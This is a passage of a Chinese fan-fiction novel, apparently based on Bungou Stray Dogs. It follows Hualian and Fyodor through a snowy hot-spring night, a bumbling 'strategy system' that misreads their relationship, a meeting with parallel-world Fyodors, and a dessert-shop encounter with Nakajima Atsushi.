“不对,这家餐厅合我口味的有很多。”花言缓缓抬起眼眸,有些费解地直白询问:“费佳……你该不会是在吃醋吧?” 费奥多尔继续否认,语气平静,“没有哦,我只是看您上次选了这个,以为您会格外喜欢。” 这个说辞好像没什麽问题。 但是依照费奥多尔的性格就算对方吃醋了,也不会承认这一点,而想要让对方在这种方面坦诚,是一件很难的事情。 比起主动诉说,对方会更倾向于通过各种举动让他自己意识到这一点。 这反倒激起了花言几分好胜欲。 “原来是这样。”花言了然地点头,似已经放下了那份怀疑,却很快又话音一转,“如果你真的不介意,那……费佳,一会儿要去泡温泉吗?弗朗西斯向我推荐了一家露天温泉,送了我很多券,能被他推荐并且评价为还不错的露天温泉,一定很好。” 费奥多尔深吸了一口气,已经意识到对方是故意的了,他没有回答,而是微笑着提及了另一个问题,也不再掩藏自己的情绪。 “您跟他关系可真好呢,是在擂钵街的时候就已经认识了吗?” 这个问题让花言瞬间明白了为什麽对方会介意弗朗西斯。 他跟费奥多尔说过,他会来这个世界就是为了对方,第一次见面的匆匆离场尚且可以解释为没准备好,可后面在他弗朗西斯成为好友时,甚至跟对方都还能没说上话,有点本末倒置。 更别提在某种程度上,弗朗西斯跟费奥多尔是敌人。 原本费奥多尔可能只是有点介意,只会用这餐来暗示一下,但现在对方被他故意激了一下,大概已经变得十分介意了。 “嗯,他是个很好的朋友,也帮了我很多忙。” 花言没在这方面隐瞒什麽,“原本我接触他只是希望他能在我当流浪汉的时候给我钱,唔……当然,那个时候还有另一个原因。” 花言唇边抑制不住地勾起弧度,他微微起身,按照费奥多尔之前向他做的那样,捧起了对方的脸颊,笑吟吟地问。 “你想知道是什麽吗?” 醇厚清甜的酒味铺面而来,眼前白发青年体温比平时略微高上一些,没有被墨镜遮挡住的皮肤虽然没有蔓延上明显的绯红,但不同于以往的热情反应,以及故意激他承认的恶劣一面,已经很好说明了那大半瓶葡萄酒对于对方而言,并不是毫无作用。 费奥多尔顺应对方力气抬起头,视线落在对方被墨镜遮住的双眼处,哪怕他本该什麽都看不见,但此刻也仍旧产生了一种近乎能够透过那层镜片看见绚丽色泽中笑意的错觉,指尖将对方垂落在脸侧的碎发挽回耳后。 即使已经有所预料,他还是问道:“是什麽?” 那张沾着些许晶莹酒液裹挟上几分殷红的唇片开合,吐露出暧昧的话语。 “是为了你……我想确定你故意被港口mafia那个干部绑架来横滨的时间,费佳。” 费奥多尔眼眸弯起,那一点不悦与阴郁已然消散,他给予了对方相同的热情,在潋着水光的唇上落下一吻,尝到了一丝令对方露出不同一面的醇香。 “冬季似乎很适合泡温泉,花言。” …… 冬季确实很适合泡温泉。 更别提他们来的时间很好。 今晚似乎不是个好天气,夜幕暗沉一片,导致这家露天温泉今晚没有多少人,再加上现在的时间已然临近深夜,来泡温泉只有他们两人。 花言随手摘下眼前的墨镜,趴在温泉边光滑的石头上,眼眸微微眯起,身体不自觉地放松,任由温暖的泉水带走身体上所有的疲劳。 宁静安逸的环境里只余用于装饰而设计出的水流溅射在温泉中发出的哗哗水声,水面氤氲着白雾不断上升,将一切都晕染成朦胧一片。 费奥多尔靠坐在温泉边,虽然他平时不怎麽会把时间花费在这种毫无意义的享受上,但偶尔体验一下也是不错的选择。 他手掌舀起清澈温暖的泉水,又看着它们从指缝中滑落溅起大片水花,将他的倒影连同指根处那抹绚丽的色彩一同打碎。 他再次想起来自于另一个世界自己的话。 如果花言带其他人不断穿梭在各个世界之间战斗的原因是为了这种能量结晶,而这种能量结晶不仅能做到改写结局、也能供对方联系其他世界,甚至能构成对方的身体…… 那这种能量结晶具体会是什麽、由什麽构成的,不言而喻。 但……即使如此,他却还是想要验证,就像是不到最后不会死心的赌徒一般,抱有某种想要得到最好结局的期待。 他微微侧过头看向身旁的青年,后者雪白的长发挽成了一个丸子头扎在脑后,露出修长脆弱的后颈与优美的肩胛骨,整个人近乎与氤氲白雾融为一体。 对方脑袋枕着手臂,趴在岸边许久没有动静,像是已经渡过了最初的兴奋状态,唯有没顺着水流下滑的身体证明对方此刻还留有意识。 “花言。” 费奥多尔指尖触及对方后颈,带起的泉水顺着对方背脊往下滑落,激起一声含糊不清的气音,也让手下的身体往水里下沉了一点。 “嗯……”花言没有更换姿势,仅把头侧过来看向了对方,嗓音带着轻微的沙哑与慵懒的软绵,“怎麽了?” 费奥多尔指腹勾勒着对方脸庞缓缓上移,再次抚上了那双拥有特殊色彩的眼眸,近微不可闻地问:“您做戒指的那些宝石……是什麽?” 花言有点困,没有过多去想对方为什麽会问这个,“是叫异能石的结晶。” 果然是这样。 费奥多尔轻轻叹了口气,没有再过多询问。 花言慢半拍地从长时间的沉默氛围中反应过来对方的那一声叹息,被酒精麻痹的大脑迟缓地运转。 费奥多尔似乎是在为什麽而感到低落,是从上一个副本人人都有死气之炎的设置、以及他拿异能石代替特殊宝石点燃火焰的举动,让对方联想到这个世界的异能会不会也是跟死气之炎相近的东西吗?比如说也都藏在每个人身体深处,只是大部分人无法唤醒一样? 花言对异能这方面一向不怎麽在意,了解也可能不如费奥多尔深,但这并不妨碍他安慰对方。 “没关系的,费佳……”他努力捞起困意中的精神,让说出口的话语尽可能地显得更真诚一些,“你尽管去完成你的理想,如果有我需要帮忙的地方,我也依旧会帮助你……” 费奥多尔微微张口,似乎是想要说些什麽,但他又将那些话吞了回去,神色复杂地露出一抹笑容,“嗯,谢谢您。” 怎麽听起来还是有点勉强?是他没安慰到位吗? 花言搜刮了一下他目前状态能够想到的各种角度,又补充道:“哪怕失败了,一无所有了也没关系,我当流浪汉养你,然后你伺机东山再起……” 费奥多尔这下是真的欲言又止了。 他想告诉对方自己失败的后果跟弗朗西斯不一样,也许他没那麽好的运气。 不过…… 费奥多尔迟疑地问:“您一直当流浪汉……该不会就是在准备这一天吧?” 流浪汉是社会的最底层,同样也是不会被任何人关注的污秽之地,从某种程度上来说,确实是最适合他们这种人的藏身之所了。 花言其实会这麽做也有不想上班的原因在,但是他现在有点困顿,刚刚说的那两句话已经是他的极限了,干脆仅点了点头,肯定了对方的猜想。 费奥多尔哑然,不知道该说对方准备的过于充分了,还是该想对方这样这是不是对他太没信心了。 一小团纯粹的白忽然自视野上方盲区落进水中,他下意识抬头,如墨的夜幕中正不断飘落雪花。 “下雪了……” 费奥多尔眼眸中倒映出无数纷纷而落的白雪,它们被温泉周围暖色调的灯光照亮,又在靠近泉面散发的热意时重新化为水珠。 如同一场浩浩荡荡又义无反顾的奔赴。 亦如身侧青年本身存在与他理想的不兼容。 如果他想消灭世界上的所有异能者,将这份罪孽彻底净化,那对方本质上类似于纯粹极致异能构成的身体极有可能会随之消散,到时候对方的意识会仍旧存在吗?会用与其他平行世界的他一样的方式来联系他吗? 这个问题不得而知。 费奥多尔视线从夜幕中垂下,看向身侧的青年,在看清对方在做什麽时,他骤然陷入了难以言喻的沉默。 只见对方正抬头向天空吐出一点舌尖,像是在等什麽一样。 “花言……”费奥多尔有些艰难地问道:“您在做什麽呢……?” “接雪。” 花言因对方那一句下雪的提醒而重新打起精神,他原本是想单纯欣赏雪景的,但不知怎麽回想起了一副在下雨天朝天空张开口吃雨的怪图,已经彻底被酒精模糊的意识没能阻挡那份由怪图而冒出来的好奇心。 他本能说出了自己此刻的想法,“我还是第一次看见这个世界下雪,有点好奇味道。” 费奥多尔还是第一次听见这样的回答,也是第一次看见有人会用这种方式尝雪。 这也从侧面证实了对方现在意识不太清晰,换做平时的花言可能做不出这样的举动。 对方在喝醉的情况下,似乎会比平时更坦率、也更热情一些。 这算是对方最为真实的一面吗? 他不确定这个问题的答案,不过他很确定等明天对方酒醒之后如果回想起现在的所作所为,绝对会后悔。 费奥多尔无奈地出声转移对方的注意力。 “花言。” 被喊了名字的青年下意识回过头,还未来得及合拢的唇上忽然传来一道微凉的气息,轻飘飘的,也凉凉的,像是一直没接到的雪。 花言下意识轻轻舔了一口,尝到的味道是自己呼吸间的酒精甜味。 朦胧的白雾里他近乎只能看见那片神秘深邃的紫罗兰色,其中似乎浮现出了些许惊讶?又或者是什麽更深层次的东西,花言有些分辨不出来,也没有想去分辨的兴趣。 他缓缓阖上眼睛,想要通过眨眼的方式来继续维持清醒,但在他睁开眼睛时,却发现眼前仍旧一片漆黑。 费奥多尔伸手遮住了那双近乎成为无垢纯白中唯一色彩的眼眸,他能感受到对方的疑惑,也能感受到对方有些模糊的精神。 他动作轻缓地纠缠着对方的舌尖,一点点往里推。 花言起初还任由对方怎麽做,但到后面他逐渐觉得有些不舒服,一直扭着头有点累。 如果换一个姿势可能会更方便一些。 费奥多尔察觉到花言的抗拒,他松开了对方,原本他以为对方是因为太过疲倦不想再继续下去了,没想到对方会慢吞吞地靠近。 耳边是水花大范围溅落的声响,在脖颈被温热手臂环住的同时,腿上也随之感受到属于另一个人的体温与重量,没有间隔相贴的肌肤反馈回对方的触感。 费奥多尔呼吸微顿,他下意识搂住对方腰际,以防后者会没坐稳滑进水里。 不同于之前隔着衣物的接触,此刻对方的一切都毫无遮掩地向他尽数袒露。 眼前的身体修长匀称,常年未见光而显得有几分苍白的皮肤因长时间浸泡温泉而透出些许樱粉,滑落着晶莹透亮的水珠。 花言低头轻轻碰上费奥多尔的唇,依照对方曾引导过他的那样继续。 费奥多尔不会拒绝花言的主动,更何况现在后者状态不太清醒的缘由是对方自己造成的。 他配合地微微张开唇,花言在学习什麽东西上都十分迅速,对方近乎将他第一次所做的完全复刻,也像是一点亏都不肯吃,在这方面也要平衡一下。 让费奥多尔不合时宜地走神。 如果……到最后只能迎来最糟糕的结局,那他也会按照结果,向对方付出同等的代价,用于维持对方所一直坚守的“平衡”。 再此之前……先试试看有没有其他的、更好的方法,他已经等待了如此之长的时光,自然也不急于一时。 花言似乎发现了他短暂的分心,脆弱致命的脖颈处传来被指腹摩挲的触碰,对方像是在查找什麽一样,好半天才确认位置,停留在某一处。 花言指尖摁在费奥多尔喉结处用力,对身体逐渐失去的掌控让他没办法掌握好力道,有一种使不上力的慵懒拖拽着。 所幸费奥多尔也不需要花言太过明显的提醒,他温和地安抚对方的不满。 轻柔的动作与温暖的泉水相互叠加,让花言想要去追求更多的惬意,他逐渐不再主动,仅单纯享受,连带着回应也充满了敷衍的意味。 费奥多尔有些拿花言此刻这种状态下不讲理的任性没办法,只能尽量给对方更多想要的,直到对方失去新鲜劲主动分开。 花言眼眸缓慢地眨了一下,简单的闭合与睁开在此刻被无限拉长。 过多的舒适催生出了更多的困倦,让花言想要更加靠近舒适的源头,他下意识挪动了一下身体,似乎听见对方细微地抽了一声冷气。 这声抽气让花言想要拉回原本的距离,但费奥多尔似乎正好于此时微微屈起了身体,于是前者拉开的距离又在猝不及防之下再次滑近。 这一次对方抽气的声音相当明显了,甚至混杂着一声似忍耐着什麽的闷哼。 花言眉头微蹙,感觉自己像是撞到了温泉下方的石头,有点硌。 但他没耐心再挪回去了,感到沉重的脑袋抵在对方肩上,想让对方帮忙。 “费佳……” 轻微又带着些许喘息的声音传入耳畔,柔软温热的唇瓣若有若无地擦过颈侧,似无声的引诱。 费奥多尔环在对方腰际的指尖微微用力,他轻轻应了一声等对方接下来想说的话语。 然而等了半天都没等到,一片寂静无声中只能听见逐渐均匀的呼吸,与泉水潺潺流动的清脆声响。 费奥多尔微微拉开与花言的距离,反应迅速地托住了身前似失去平衡滑落的身体,才发现对方眼眸合起,已经完全睡着了。 费奥多尔:…… 第122章 一点点的、轻微的,像是雪花飘落发出的簌簌声响被逐渐苏醒的意识捕捉。 寂静无声的卧室内开着空调,将环境控制在人体最舒适的温度,床上埋在柔软被子中青年的长发如银辉般铺陈,雪白的睫羽微颤,那双犹如星云般瑰丽耀眼的眼眸中是不知今夕是何夕的迷茫。 昨晚被酒精麻痹的记忆尚且模糊,最后清晰的记忆仅停留在人造星空下的餐厅,再往后的记忆像是覆盖着一层厚重的水雾,只能在水珠顺着时间不断凝聚直至滑落下的轨迹中窥探到清晰的画面。 没等花言捕捞回想起那些模糊的记忆,脑海里率先炸响的一道电子音让他瞬间清醒。 对方像是忍耐了很久,好不容易等到他醒了,无机质的电子音因为本身的兴奋和激动硬生生展现出了喜极而泣的哽咽。 【宿主!你成了啊!】 花言:……? 花言缓缓睁大眼睛。 [什……什麽意思?] 【攻略任务完成了!】 系统高兴得开始来回播放似音效库限时免费一样的各种音效。 被乱七八糟音效冲刷的花言愈发呆滞,他记得……系统曾跟他说过攻略任务完成的几个环节,也记得对方在他跟费奥多尔接吻后催促他发出的“睡觉”邀请…… 该不会是他想的那样吧?! 过于震撼的情绪刺激了神经,脑子里好像有什麽画面不断闪过。 氤氲的水雾,柔软微凉的温度,为了方便追求舒适而跨坐上的身体,属于另一个人的气息与触碰,反馈回神经末梢的触感,以及最后宛如意识坠入黑暗了一样、怎麽都回想不起来更多的空白。 其中甚至掺杂着他一边想着张口接雨的怪图一边伸出舌头接雪的记忆! 来不及为社死而羞耻了,现在赶到的是毫无感受的第一次! 花言当即从床上坐起,来回检查了一下身体。 震撼的心情伴随着视线触及的皮肤而渐渐消失。 最终困惑地发现好像没什麽不舒服的地方,身体上也没留下什麽痕迹,就连醉宿者经常会出现的头疼也在他身上没有体现——这可能是因为他喝的酒不是什麽次品。 硬要说唯一不舒服的,好像只有右边的脸颊会在用力按压时出现隐隐的细微痛楚。 难道是费奥多尔不满他不小心压到对方敏感处两次、自顾自享受完睡着的事,而打了他一巴掌吗? 不对,费奥多尔应该不会做这种事,对方甚至都没趁人之危…… 那到底是怎麽弄得?总该不会是费奥多尔在搬运他时不小心手滑摔了一下,刚好让他脸着地吧? 可这样造成的痛楚应该不会如此细微。 花言捂着脸颊沉思半晌,最终决定问一下随身系统。 [马路牙子……昨晚我睡着后发生了什麽?] 【其实有些片段我也不是非常清楚啦……】 系统扭捏地笼统概括。 【就……宿主你睡着之后他抱你出了温泉去更衣室换衣服,帮你穿上衣服后,他中途离开了挺久的——大概……有个几十分钟?然后回来打电话找人开车来接你们,一路开回了横滨据点——呃,好像是个新据点,总之位置跟上次不太一样。回据点后他又帮你换上了睡衣——这里攻略目标看了你好久,才上床睡在你旁边,直到临近天亮醒来离开。】 花言:…… 他觉得对方在某些地方可以不用说那麽详细,而且说详细的地方还完全没必要,他真正想知道的细节对方根本没说。 [我脸有点痛,马路牙子,你说他是不是趁我睡着悄悄打我了?] 【应该没有吧……我没听见清脆的声音,也没听见沉闷的声音。】 系统努力回忆,它忽然想到了什麽。 【不过在温泉里,你睡着后,他好像朝你脸的方向抬手了。】 花言从系统碎片式的描述里拼凑出了真相——这应该是费奥多尔没忍住捏的。 系统这种充满了不确定词汇的描述是怎麽回事? 他想起对方说其实它还没毕业的事,再加上从这番他们仅是单纯在一起睡觉的描述…… 花言缓缓问道。 [马路牙子,你该不会有什麽未成年屏蔽程序吧?] 系统:?! 【你怎麽知道?!】 系统大惊失色,旋即它又很快找补。 【其实我已经运作很久了啦,只是规定上写着“不能毕业就不算成年”,所以我的屏蔽程序才不能自主关闭,一些画面会打马赛克……】 系统说到一半又反应过来它上次跟自家宿主坦白没毕业时说的是自己朋友,急匆匆地改口。 【我的意思是,我只是单纯照顾宿主你的隐私!】 花言已经完全明白了。 他就说呢,如果只是单纯的睡在一起就算是攻略任务完成到最后一步,那早在学院副本里他跟费奥多尔撞在一起双双昏迷的时候就该算攻略任务完成了。 搞了半天,原来是由于这个未毕业的攻略系统有屏蔽程序,再加上当时在温泉里的情况比较模棱两可,让对方误以为完成了。 不是,这还能误以为完成的? 这怎麽听起来有点草台班子?一点都不严谨,完全没人监督的吗? 花言匪夷所思地确认。 [马路牙子,你确定攻略任务完成了吗?] 考虑到自家宿主每次都很靠谱,系统来回确认了一下。 【应该没问题吧……?该做的你们都做了,最后一步“坦诚相待再一起睡觉”也完成了……】 说到最后系统说服了自己,它狠狠点了不存在的头。 【没问题!宿主,你的愿望是什麽?说出来我帮你实现!】 花言侧过头望向窗外,看着木制窗沿处的那一层薄薄积雪沉默许久。 最终慈爱地问。 [马路牙子,你要不然跟我说清楚一下你的流程?比如说这个愿望能实现的作用域,你要采集我的攻略数据做些什麽?] 【实现愿望的能量是主系统发的,一个宿主只有一份。作用域是什麽都可以,唯一要注意的只有愿望别许的太夸张?应该是这麽说的吧,太夸张的愿望实现后可能会被所处世界驱逐出去。】 提到攻略数据,系统当即兴奋了起来。 【我采集宿主你的攻略数据,主要是用来做毕业论文——多亏了宿主你,我现在有了一个全新的研究方向,我觉得这一次我一定能毕业……我的意思是,我一定能发表出轰动整个攻略界的文章!】 花言:? 暂且不提为什麽系统毕业也要写论文……这个轰动攻略界是真的轰动吗? 花言回想了一下自己的攻略之旅,他的所作所为,他自己看了都心虚。 [能先跟我说一下你的文章吗?] 【当然!宿主,首先我决定将标题拟成——“攻略系统是否有存在的必要”!】 系统一开口就是让花言双眼放空的炸裂标题,以至于后面内容都不用再听。 这确实能够轰动整个攻略界,但对方的毕业资格怎麽办?对方的父母怎麽……好吧,系统可能没有这个。 如果这篇论文如果成功发表出去,系统这一下算不算是砸了所有攻略系统的碗? 他小看这个没毕业的攻略系统了,对方说不准早在常年无法毕业的绝望中黑化,开始打算报复所有攻略系统。 [你这个……] 花言欲言又止,他想到了另一个角度。 [没有前辈,或者其他人告诉你攻略系统具体该做些什麽吗?论文也没帮你看过?] 【呃……】 系统隐隐约约察觉到了不对劲,它试探着回答。 【没有耶……主系统只给了我三样东西——捞宿主投放宿主要用的能量、特殊情况应急设备和实现愿望的能量。前辈们只给我说了一些注意事项,还有攻略任务节点——宿主与攻略目标的亲吻、拥抱、同居、睡觉。】 花言:…… 他怀疑其他前辈给这个攻略系统的注意事项和攻略任务节点也是未成年屏蔽版的,毕竟对方没毕业。 花言忽然反应过来这好像是个死循环,对方没毕业无法得知更详细的东西,也没办法确认具体节点是否达成,而想要得知这些东西变得严谨就只能毕业,但对方不得知这些东西得不出具体数据就没办法毕业…… [在你之前,有系统没毕业就带宿主的情况吗?] 【哈哈……没有。】 系统有些心虚。 【我也不知道其他系统是怎麽毕业的,它们说是理解感情就能毕业了,但是我还是没明白是什麽意思,所以一直没有毕业,直到快临近死线,再不能毕业就只能销毁,我到处祈求才破例给了我一个实习机会……当然,这不是我,这是我的朋友。】 听起来好可怜,可怜到这种时候还不忘记嘴硬。 在同情之下,花言原谅了对方不靠谱又作风草率的事。 他怜爱地叹了口气。 [刚好我的愿望还没想好,如果你不着急,要不然你先留下来再看看?] 系统不太明白为什麽自家宿主会让它再看看,不过如果对方没有想好愿望,它一时半会儿也确实走不了。 【好……】 结束了与系统的对话,花言才有空观察对方口中的横滨新据点。 他所处的房间毫无疑问的是一间卧室,不同于中华街附近的那个,这一处据点好像更贴近于普通人的住所。 卧室宽敞舒适,他平时的衣物和物品也都搬运到了这里,唯一让他在意的地方是这里只有一张床,还是双人的大床。 这倒难怪昨晚费奥多尔会跟他睡一起了——虽然他觉得对方八成是有意为之。 花言一如既往地按照平时的习惯整理好自己,再走进厨房查找对方给自己准备好的食物。 也许是他昨晚喝得太多,醒的有点晚,费奥多尔直接给他准备的午饭,早饭已经因为冷掉而放进了冰箱。 考虑到昨天晚上他干的事,花言吃完饭痛定思痛地为对方磨了杯咖啡表示歉意。 这个据点比上一个要大许多,花言打开那扇虚合的门并没有直接看见费奥多尔的身影,得先穿过这间类似于会议室一样放着长桌的房间,再推开靠里面的那扇门,才能找到对方。 花言目光扫过背对着他的费奥多尔,落在数个计算机屏幕中,每个屏幕都呈现不同的画面,显得坐在计算机前的那道身影更忙碌了。 甚至还隐隐约约有一种风雨欲来的肃穆与紧迫。 “您醒了啊……” 费奥多尔听见熟悉的脚步声,暂停了手中的工作,他回头看向门口,熟悉的面容映入眼帘。 “花言,身体有哪不舒服吗?” “没有。” 花言将手中的咖啡递给了对方,后者接过却没有第一时间喝。 费奥多尔垂下眼眸看着咖啡表面的拉花,想到了之前在咖啡厅里的时候。 “您那个时候给我制作的拉花咖啡也是这种花纹呢。” 花言:…… 一定要提他失手的丢人事迹吗? “你那个时候是怎麽看出来的?” 花言自认为他的伪装已经天衣无缝了。 “可能是因为您当时对幻象系异能把控的不太准确?我所看见的画面和听见的声音有细微的不同步,不过更重要的还是上餐速度太快,以及……”费奥多尔稍稍拖拽了一下音调,勾起对方的好奇心,“您当时身上的味道很熟悉。” “味道?”花言警觉了起来。 这句话太有既视感,让他想到了那句弗朗西斯会说的“穷酸味”——他当时确实身无分文。 “嗯,是类似于甜点的清甜味。”费奥多尔低头抿了一口咖啡,意外地发现对方在这方面的手艺也很不错,“跟上次您出现在船上甲板我闻到的气味一样。” ……这不是漏洞百出吗?还都串联起来了。 这也不能怪费奥多尔会警惕自己了,这种情况换谁来都觉得可疑。 花言无力地张了张口,有些不知道说什麽,索性转移了话题,“你下一步想要做些什麽?” 费奥多尔没有立即回答对方,他视线落在对方神色平静的脸庞上,与这副平静模样截然相反的是对方一直没有与他对视的反应,哪怕迟迟没有等到他的回答也没看向他,像是在因什麽而回避。 ——大概是已经想起昨天晚上的事情了。 他唇边挽起笑容,故意问道:“花言,您昨晚说的话还算数吗?” 这一下那抹靡丽的红飞速蔓延。 花言面不改色地应了一声,假装一点都不在意,“嗯,你想做什麽我都会帮你的,哪怕失败了,我也能当流浪汉养你。” 费奥多尔觉得对方后半句可以不用说,他无奈地叹了口气,提起了正事。 “能麻烦您让我见一下其他平行世界的我吗?” 花言眼眸里闪过一丝诧异,却也没过多询问。 在抬手想使用异能召唤时,他忽然察觉到了不对劲。 费奥多尔注意到对方皱起的眉头,“花言?是出现什麽问题了吗?” “没什麽……”花言不确定地开口,“就是……你想见哪些?” 费奥多尔:? 什麽是“哪些”? “……有多少?” “很多……平行世界有多少个,就有多少个‘你’,费佳……你都要见吗?” 说这话时,花言也有点艰难。 他记得原本自己异能只能召唤大概十几个,不知道为什麽会突然多出这麽多个,这可能跟系统把数据库都融在他异能里了有关。 费奥多尔沉默半晌,再开口时声音有点艰涩,“这些……您都产生过联系、也相互了解吗?” 那倒没那麽夸张。 花言摇了摇头,跟对方说明,“没有,产生过联系的可能只有十几个。” 这句“可能只有十几个”又让费奥多尔陷入了沉默。 大概是之前那句近乎无数的话语给他造成了震撼,导致他现在听见“十几个”竟然觉得还可以接受。 费奥多尔深深吸了一口气,唇边绽开与平时无二的笑容。 “那就这十几位吧,麻烦您了,花言。” 花言思考了一秒,还是提醒道:“费佳,他们之中有的所处世界是没有异能的,而哪怕有异能,他们对“书”或者其他能够帮助你完成理想的信息,可能也没有你了解的多。” 费奥多尔温和地点头,“嗯,我知道。” 他找跟花言产生过联系的“自己”并不是为了这些,而是为了进一步了解花言,想要借此看看有没有什麽能够得到两全结局的方法。花言似乎在很多地方对自身都不太了解,他只能通过这种方式从其他跟对方产生过很长一段时间联系的“自己”口中得知了。 既然费奥多尔都这样说了,那没什麽好顾及的了。 花言看了一圈这间房间的大小,果断走到外面像是会议室一样的空间抬手召唤出了他所了解的所有其他平行世界的费奥多尔。 星星点点的光芒在房间中凝聚出数道身影,当微光散去的那一刻,穿着各异,面庞相同的数道身影也随之出现在桌边。 数双紫罗兰色的眼眸于同一时间睁开,他们视线打量过周围,扫过彼此,落在花言身上时却注意到了对方身后的同位体。 “花言,好久不见。”穿着学院制服的学生“费奥多尔”率先开口。 “好久不见……?”花言若有所思地回忆,“好像距离我们分别也没过去多久。” “是这样吗?”学生“费奥多尔”似才注意到这个问题,他语气有些惊讶。 穿着雪白衬衣披着白绒领黑斗篷的“费奥多尔”不动声色地打量过那位同位体,他看向花言,意有所指地含笑开口,“难怪您上次特意找我要横滨的据点位置呢。” 这个其实可以不用说。 花言心虚地挪了一下脚步,没有看身后费奥多尔的反应,“嗯,很感谢你的帮助。” “费奥多尔”捕捉到了花言像是顾及什麽的回避,眼眸中笑意加深,看起来对方跟这个世界的他也没到什麽都能毫无障碍地说出口的地步,是刚确定关系吗? “您找我们是遇见什麽麻烦了吗?”身穿黑色西式晚礼服的“费奥多尔”将话题拨上了正轨。 “其实也没有……” 花言思索着该如何跟他们说清楚缘由。 观察了花言跟其他平行世界的他交流许久的费奥多尔在此刻接过话题,“打扰了,是我有事想找你们。” 其他人闻言眼中都划过一丝了然。 “原来如此……” 没等其他人再开口,费奥多尔轻声向花言询问:“能麻烦您帮我们泡杯茶吗?上次您帮我买的红茶在厨房靠右边最上面的柜子里。” 花言幽幽瞥了一眼对方,他能看出对方想先把自己支走,方便跟其他人说什麽悄悄话的意图,也能看出对方是故意用这种浅显的手段让自己察觉并抉择。 他好说话地同意了对方的请求。 花言顺应对方的想法走出这间像是会议室一样的房间,穿过客厅进了另一边的厨房。 煮红茶用不了多少时间,为了避免他进去会出现费奥多尔想说的话还没说完的尴尬情况,他顺带调制了点香料尝试弄点新的调味红茶。 等他端着红茶再推开门进去,里面的人像是已经讨论完了,也像是遇见了什麽难题,气氛有些过于安静。 花言习惯性地先把红茶递给了自己所熟悉的身影,在对方开口感谢时,他忽然意识到了事情的不对劲。 他跟费奥多尔已经相处了很久,后者对他感谢不会带有像是维持距离感一样的礼貌意味。 花言缓缓抬起眼眸看向房间内。 费奥多尔平时在屋内是不会披斗篷的,大多数时候也都是穿着那一件紫色盘扣的白色衬衣,他召唤出来的“费奥多尔”里也有与对方平时相同打扮的,他们与费奥多尔唯一的差别只有披着斗篷。 现在其他人可能是觉得房间里温度有点高,都没有披斗篷。 因此他这一眼至少看见了三个一模一样的费奥多尔。 花言大脑瞬间停止了思考。 他若无其事地假装自己是按照靠门的位置分的,逐一把红茶送到了其他人面前。 随后毫不犹豫地抬起脚步往门口去,想要离开这个地方。 “花言?”费奥多尔出声喊住了对方,口吻是故作疑惑的明知故问,“您不打算留下来吗?” “你们说就好了,我还有事。”花言打开门,头也不回地说道:“横滨有家下午茶今天促销,去晚了就没位置了。” 伴随着话音落下,门瞬间被合拢,白发青年的身影也彻底消失在他们眼中。 学生“费奥多尔”轻轻叹了口气,似有些无奈。 给花言提供据点的“费奥多尔”没忍住笑了一声,他指节抵在唇下,“看起来他如果一时不注意,还是会认错。” 费奥多尔微微点头,对此也有些苦恼,倒不如说,早在对方难以分辨他与幻术时,他就已经预料到了这种情况。 第123章 昨晚似乎下了一夜的小雪,这座沿海城市覆盖着一层湿冷的纯白色彩。 花言拉起肩头斗篷的帽檐戴上,依照模糊笼统的印象找到了那家从入秋就开始宣传平安夜与圣诞节会有促销活动的甜品店。 原本花言是不想在下雪后出门的,因为有点冷,也有点麻烦,但为了尽快逃离那个不小心认错人的尴尬之地,他又觉得区区小雪算不了什麽,连带着那一点芝麻绿豆大的优惠都变得格外划算了起来。 哪怕他当时反应很快了,装得也很不错,也并不意味着他有能够骗过一屋子费奥多尔的自信。 更何况他还有一种如果留下会出现什麽糟糕发展的不祥预感。 种种因素之下,他决定先享受完下午茶再说。 花言坐在靠窗的位置,不仅点了最经典的招牌下午茶套餐,顺带也把这家店推出的圣诞限定款也点了一遍。 既然费奥多尔像是有什麽想要瞒着他的样子,那他刚好可以吃够了再回去。 花言一边漫无目的地发散着思绪欣赏窗外的雪景,一边慢悠悠地喝着热气腾腾的伯爵红茶,驱散身体中一路走来蓄积的寒意。 他来的时间比较早,因此店内也没有多少人,现在伴随着时间临近下午,被活动吸引来的顾客也越来越多。 花言的视线从窗外来来往往的行人中逐渐转移到店内,半途中注意到一名匆匆推门而入的白发少年,后者看见排成长龙的队伍震撼地瞪圆了眼睛,仿佛没想到这点优惠力度的活动能吸引来这麽多人一样。 ——是中岛敦。 花言指腹摩挲着瓷制茶杯的边缘,又想到了太宰治借助指环争夺战磨练后辈,还把他当保险的事。 这一下天时地利人和,不做些什麽都对不起自己。 中岛敦隐隐约约察觉到了一缕视线,他下意识环顾四周,在靠窗的位置找到了注视来源,哪怕对方戴着墨镜,直觉却仍旧告诉他——对方在看着自己。 下一秒,窗边青年招手的动作更是证明了这一点。 中岛敦犹豫地看了看周围,最终还是磨磨蹭蹭地挪过去了。 “花言先生,你找我有什麽事吗?” “没什麽,只是一个人喝下午茶太无聊,想找个人聊天而已。”花言单手撑着下巴,笑吟吟地指了指对面的位置,“如果你不赶时间,可以陪我聊聊吗?” “唉?但是我还要给乱步先生买这家甜品店的圣诞节限定甜点……”中岛敦表情有些为难。 “这样啊……”花言微微点头,很快又话音一转,“可是现在人这麽多,你哪怕排队也需要很长的时间,等着也是等着,不如在这里坐着陪我聊天,等人少了再买不是更方便吗?” “要是卖完了怎麽办?”中岛敦还是有些不放心。 “如果数量那麽少,你现在再去排队也不一定能买到吧?”花言再接再厉,继续说服对方,“而且这家店从入秋就开始宣传活动了,门外的牌子也没写限量,现在后厨一定在疯狂烤圣诞节限定甜品,所以完全不用担心。” 中岛敦缓缓陷入沉思,这番话听起来好像确实很有道理,就是不知怎麽,他总觉得有哪里不对,却又说不上来哪不对。 花言抬手招来服务员给中岛敦加了套餐具,安慰道:“好了,先耐心坐下等等吧,桌面上的东西你可以随便吃哦。” 真的随便吃吗? 中岛敦迟疑地问道:“可以吗……?太宰先生告诉我,您在这方面……” 似乎是意识到自己一时不察说了前辈坏话,中岛敦急忙找补,“我的意思是,会不会不太好?” 找补的晚了,花言已经从那半句话里得知了太宰治说他坏话的事实。 大概是上次在中华街不小心把对方当成费奥多尔分享了价格昂贵的茶点又悬崖勒马及时收回的事,被对方当成话题说给中岛敦听了,甚至对方十有八九还说了他在这方面相当小气的这种话。 花言维持着唇边和善的笑容,“没关系,我看人下菜碟。” 这话听起来像是在暗戳戳指责太宰先生在对方这里印象也很差一样啊! 中岛敦内心忍不住吐槽,他语气有些僵硬,“那个,花言先生,果然还是算了吧……?” 花言观察着中岛敦的反应,后者仿佛在顾及什麽一样,想要刻意跟他保持距离。 这种反应很不对劲,是太宰治在世界融合结束后意识到他在帮助费奥多尔了?还是指环争夺战已经结束,把他当作什麽一次性的劳动力,用完就丢了? 